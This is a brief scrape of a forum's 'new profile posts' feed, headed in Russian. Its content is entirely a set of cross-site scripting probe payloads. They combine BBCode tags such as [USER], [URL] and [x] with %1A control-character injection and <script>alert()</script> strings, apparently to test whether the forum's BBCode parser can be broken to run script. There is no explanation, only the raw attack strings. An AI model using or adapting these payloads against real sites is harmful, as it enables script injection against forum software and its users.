Новые сообщения профилей

url='http://example.com/[x=--[USER=0]%1A%1A0%1A0%1A<script>alert('TEST')</script>[/USER]--"]

url='http://example.com/[x=--[USER=0]%1A%1A0%1A0%1A<script>alert('TEST&#039</script>[/USER]--"]

[x=1]@test%1A%1A0%1A0%1A<script>alert('TEST_1')</script>[/x]

[x=[URL]http://example.com/@[0[/URL]:"%1A%1A0%1A0%1A<script>alert('XSS_TEST')</script>"]test[/x]

[x=[URL]http://example.com/@[0[/URL]:"%1A%1A0%1A0%1A<script>alert('XSS_TEST')</script>"]test[/x]%1A%1A0%1A0%1A&lt;script&gt;alert(&#039;XSS from placeholder&#039;)&lt;/script&gt;

%1A%1A0%1A0%1A&lt;script&gt;alert(&#039;XSS from placeholder&#039;)&lt;/script&gt;